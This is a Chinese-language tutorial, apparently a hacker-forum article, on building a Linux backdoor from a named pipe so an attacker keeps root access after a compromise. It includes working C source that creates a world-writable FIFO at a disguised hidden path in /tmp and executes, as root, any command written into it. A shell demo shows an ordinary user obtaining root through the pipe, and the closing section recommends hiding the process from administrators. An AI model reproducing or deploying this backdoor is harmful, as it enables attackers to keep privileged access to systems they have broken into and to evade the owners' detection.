一.前言
攻击者攻破某一系统,成功获取该系统的最高权限后(Linux下面通常是root),
为了以后能够继续保持在该系统的权限,或者为了方便以后的访问,通常都会安装
一个或者多个后门.后门程序由简单的也有复杂的,简单的诸如以前那些比较老的
系统上面的copy一个shell然后以root身份给予setuid.复杂的诸如内核后门..
本演示的是Linux系统下面,简单的利用FIFO操作制作一个后门..本文涉及的技术
相当肤浅,还望各位高手不要见笑...
二.What's the FIFO?
Linux平台下面FIFO即"命名管道".Linux系统和Unix系统类似,存在许多种管
道.命名管道的工作方式与其他的管道十分相似,但也有着一定的区别:首先,在文
件系统中命名管道是以设备特殊文件的形式存在的.其次,不同族的进程可以通过
FIFO共享数据.并且所有的I/O工作都是由共享进程处理的,文件系统保留命名管
道是为了将来使用.
三.How to Creat
Linux下面建立FIFO的方法有很多种.可以用系统命令来完成,也可以通过调用
Linux系统专门的系统调用来创建.比如,我们可以用mknod和mkfifo着两个命令之
一创建它.
[Bytes@Linuxstation /test]# mknod fifo p
[Bytes@Linuxstation /test]# ls -al
total 8
drwxrwxr-x 2 root root 4096 Jul 4 00:34 .
drwxrwxr-x 8 root root 4096 Jul 4 00:32 ..
prw-rw-r-- 1 root root 0 Jul 4 00:34 fifo
这样就建立了一个名为fifo的命名管道.
[Bytes@Linuxstation /test]# mkfifo myfifo
[Bytes@Linuxstation /test]# ls -al
total 8
drwxrwxr-x 2 root root 4096 Jul 4 00:47 .
drwxrwxr-x 8 root root 4096 Jul 4 00:32 ..
prw-rw-r-- 1 root root 0 Jul 4 00:34 fifo
prw-rw-r-- 1 root root 0 Jul 4 00:46 myfifo
这样我们又建立了一个名为myfifo的命名管道..
当然我们还可以用mknod()函数建立FIFO,在Linux中mknod是这么定义的:
int mknod ( char*pathname,mode_t mode ,dev_t dev);
比如我们要建立一个testfifo命名管道只要:
mknod("./testfifo",S_IFIFO|0777,0);
这样就建立了一个任何人都有读写权限的testfifo.其中0777表示建立的命名管
道的读写权限.不过这样定义的读写权限似乎会受到掩码的影响,因为Linux系统有
着如下定义:
final_umask =requested_permission & - original_umask
不过,通常我们可以加一个
umask(0);
解决问题.
三.How to do.
明白了上面这些问题我们要做的准备工作也就完成了.下面大家就和我一起来
动手.
我们的基本思路是:
1. 建立一个命名管道
2. 写一个服务器端进程运行于后台的进程,从该管道中读取指令执行,并且返回
结果
3. 写一个客户端进程,向命名管道输入指令.
也就是:
Client ----- FIFO_file ----------- Server
我写的一个服务器端例程如下:(它非常简陋,只是简单说明一下这个思路的可行性
,大家可以根据自己的要求写出更好的来)
/**********************************************
* FIFO Local Root shell for example *
* Test on Red Hat Linux 7.0 *
**********************************************/
#include
#include
#include
#include
#include
#define FIFO_shell "/tmp/.lock1ed" /*定义管道文件的路径*/
int main (void) {
FILE *fp;
char readbuf[80];
umask(0);
mknod(FIFO_shell,S_IFIFO|0666,0);/*建立一个读写权限为0666的命名管道
*/
while(1){
fp = fopen(FIFO_shell,"r");/*以只读方式打开该命名管道*/
fgets (readbuf,80,fp);/*读出*/
system(readbuf);/*执行指令*/
fclose(fp);
}
}
好,我们来编译它.先保存为cmd.c
[Bytes@Linuxstation /test]# gcc -o cmd cmd.c
[Bytes@Linuxstation /test]# id
uid=0(root) gid=0(root) groups=0(root)
[Bytes@Linuxstation /test]# ./cmd&
在后台运行它.
[Bytes@Linuxstation /test]# ls -al /tmp
total
drwxrwxrwt 3 root root 4096 Jul 5 13:03 .
drwxr-xr-x 20 root root 4096 May 22 16:43 ..
prw-rw-rw- 1 root root 0 Jul 5 13:03 .lock1ed
看看已经创建了一个.lock1ed.
[Bytes@Linuxstation /test]# su test
[test@Linuxstation /test]$ id
uid=539(test) gid=539(test) groups=539(test)
[test@Linuxstation /test]$ echo "id" /tmp/.lock1ed
uid=0(root) gid=0(root) groups=0(root)
哈哈~成功了.我们这里使用echo命令测试这个服务器端,使用不是很方便,大家可
以自己写一个客户端.可以用shell,perl,C编写都可以,推荐用perl/C编写.
四.后语.
不过这样的一个后门很容易被发现,因为管理员可以用ps命令看见服务器进程,
所以我们需要配合其他一些技术来隐藏它.比如hidden进程等等.这些就不再本文
的讨论范围之内,大家可以去查阅其它资料.